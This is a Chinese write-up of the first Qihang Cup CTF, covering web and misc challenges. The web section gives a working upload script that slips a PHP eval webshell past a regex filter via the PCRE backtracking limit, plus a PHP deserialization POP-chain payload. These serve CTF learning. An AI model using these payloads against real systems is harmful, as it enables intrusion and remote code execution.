当前位置: 首页 > news >正文

第一届启航杯-web-misc(全)

web

Easy_include

简单的伪协议

PCREMagic

<?php
// 定义函数 is_php,用于检测输入内容是否包含 PHP 的 eval 恶意代码
function is_php($data){
     // 使用正则表达式匹配 <?php ... eval(...) ... ?> 模式
     // 修饰符说明:i=不区分大小写,s=允许 . 匹配换行符
     return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

// 检查是否有文件上传,如果没有则显示当前文件源码(用于题目展示)
if(empty($_FILES)) {
    die(show_source(__FILE__)); // 显示源码后终止程序
}

// 创建用户专属目录:基于客户端 IP 的 MD5 哈希值
// 示例目录:data/8a599e35e4b57e45e4b57e45e4b57e45
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);

// 读取上传文件的全部内容到内存中
$data = file_get_contents($_FILES['file']['tmp_name']);

// 调用安全检测函数
if (is_php($data)) {
    echo "bad request"; // 检测到恶意代码则拒绝请求
} else {
    // 如果用户目录不存在则创建(递归创建目录,权限 0755)
    if (!is_dir($user_dir)) {
        mkdir($user_dir, 0755, true); // true 表示递归创建父目录
    }

    // 生成随机文件名:0-10 之间的整数 + .php 后缀
    // 示例路径:data/md5_hash/7.php
    $path = $user_dir . '/' . random_int(0, 10) . '.php';

    // 将上传的临时文件移动到目标路径
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    // 重定向到上传的文件(HTTP 303 状态码表示 "See Other")
    header("Location: $path", true, 303);
    exit; // 终止脚本执行
}
?>

这里直接最大回溯绕过pre 

import requests  # 导入requests库,用于发送HTTP请求
from io import BytesIO  # 导入BytesIO类,用于在内存中处理二进制数据

url = "http://2025.qihangcup.cn:32789/ "  # 定义目标URL,即要发送请求的服务器地址

# 创建一个包含文件的字典,用于模拟文件上传
# 'file' 是表单中文件字段的名称,BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000) 是文件内容
# 文件内容包含一个PHP代码片段 `<?php eval($_POST[1]);//`,后面跟着1000000个字节的字符 'a'
files = {
    'file': BytesIO(b'aaa<?php eval($_POST[1]);//' + b'a' * 1000000)
}

# 发送POST请求到目标URL,携带文件数据
# `allow_redirects=False` 表示不允许重定向,即如果服务器返回重定向响应,requests不会自动跟随
res = requests.post(url=url, files=files, allow_redirects=False)

# 打印服务器返回的响应头信息
print(res.headers)

然后直接访问根目录即可

绕过也可以段标签绕过

 Web_IP

一进去看看源代码 ,发现flag.php,点进去

没有想法,看看哪个hint.php 

在源代码发现提示,抓包flag.php页面,尝试发现是ssti模板注入(Smarty 模板注入)

PHP的模板注入(Smarty模板)_smarty模板注入-CSDN博客

Web_pop

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    private $obj;
    private $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}
<?php

class Start{
    public $name;
    public $func;
 
    public function __destruct()
    {
        echo "Welcome to QHCTF 2025, ".$this->name;
    }
 
    public function __isset($var)
    {
        ($this->func)();
    }
}
 
class Sec{
    public $obj;
    public $var;
 
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
 
    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}
 
class Easy{
    public $cla;
 
    public function __call($fun, $var)//Easy::__call($fun, $var) 中的 $fun 是方法名(即 "check"),$var 是参数数组(即 [$this->var])
    {
        $this->cla = clone $var[0];
    }
}
 
class eeee{
    public $obj;
 
    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}
 
$a=new Start();
$a->name=new Sec();
$a->name->var=new eeee();
$a->name->obj=new Easy();
$a->name->var->obj=new Start();
$a->name->var->obj->func=new Sec();


echo serialize($a);
echo "\n".urlencode(serialize(($a)));

 

misc

QHCTF For Year 2025

QHCTF{FUN}

PvzHE

flag藏在images

 请找出拍摄地所在位置

关键信息是柳城与雅迪,绿源电动车

在电脑的地图搜半天没结果,去手机上搜搜 

有个有点像,点进去看看。

确实有绿源电动车

那就直接找路了

QHCTF{广西壮族自治区柳州市柳城县六广路与榕泉路交叉口}

你能看懂这串未知的文字吗

给了一个看不懂的文字

识图可以得到表

然解密的得szfpguwizgwesqzoaoerv,但是flag不是这个,将图片拖随波逐流,发现可疑信息,猜测key。

最后发现是维吉尼亚密码

注意题目给的图片带感叹号,所以flag也要带 。QHCTF{cryptoveryeasybysheep!!!}

______启动

一直找tcp流,到135时发现敏感数据

访问http://101.126.66.65/log​​​​​​(现在地址不可访问了)就可以下载一个log文件,即可得flag

猿类的编程语言你了解吗

jphs隐写。(这里没密码,直接提取)

JPHS(JPG)工具介绍和下载-CSDN博客  //这里百度网盘下方便

【隐写工具】【试一试?】jphide seek(JPHS) 使用方法,检测提示,附下载地址-CSDN博客看这个学习如何使用

BrainFuck解密即可(Ook!所需的字符太多,利用".!?"来简化Ook,本质上是一样的)

Brainfuck/Text/Ook! obfuscator - deobfuscator. Decode and encode online. //也可以用这个解密

猜猜这是哪

这个比较难,关键信息是银行,酒店,题目还提示是是郴州市

QHCTF{湖南省郴州市汝城县汝城大道与东泉路交汇处西北} 。这题太难了,没有多余的信息,就硬找,要找到汝城才行。

取证

环境有点问题1,镜像挂载不上去,刚好平台也关了,到此为止吧

第一届启航杯Forensics部分个人WP-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.dtcms.com/a/43211.html

相关文章:

  • 最新100个DeepSeek提示词模板
  • 【大模型实战篇】大模型训练/微调的一些经验分享
  • UWB人员定位:精准、高效、安全的智能管理解决方案
  • k8S通过代理将集群外的中间件引入集群内访问 —— 筑梦之路
  • python数组下标怎么获取值并输出
  • B2B2C多语言电商系统代销逻辑设计和开发
  • deepseek使用记录12
  • Unity报错:InvalidOperationException: Insecure connection not allowed
  • Baklib云内容中台的核心架构是什么?
  • 【通俗讲解电子电路】——从零开始理解生活中的科技(一)
  • 小程序Three Dof识别 实现景区AR体验
  • 软件工程---需求工程
  • 基于Python的web漏洞挖掘,漏洞扫描系统(附源码,部署)
  • Linux入门(精简版)
  • ngx_conf_file_t
  • Allegro PCB元件库文件引起的问题-看不见器件,但是不能预览,也就不能放置了
  • 【SpringBoot】自动配置原理与自定义启动器
  • PyQT(PySide)的上下文菜单策略设置setContextMenuPolicy()
  • 【人工智能】java流式返回数据接口
  • C++-第十二章: AVL树
  • 入门基础项目(SpringBoot+Vue)
  • python-leetcode-第 N 个泰波那契数
  • Denoising Diffusion Implicit Models (DDIM)
  • Python PDF文件拆分-详解
  • 抖音生活服务加强探店内容治理,2024年达人违规率下降30%
  • 2025年4月1日-2日AutoCable 中国汽车线束线缆及连接技术创新峰会即将开幕
  • 大模型WebUI:Gradio全解12——LangChain原理、架构和组件(2)
  • 2025 年度福建省职业院校技能大赛中职组“网络建设与运维”赛项规程
  • MySQL优化示例 1:关联查询
  • vue3-tree-org创建组织架构图简单案例分享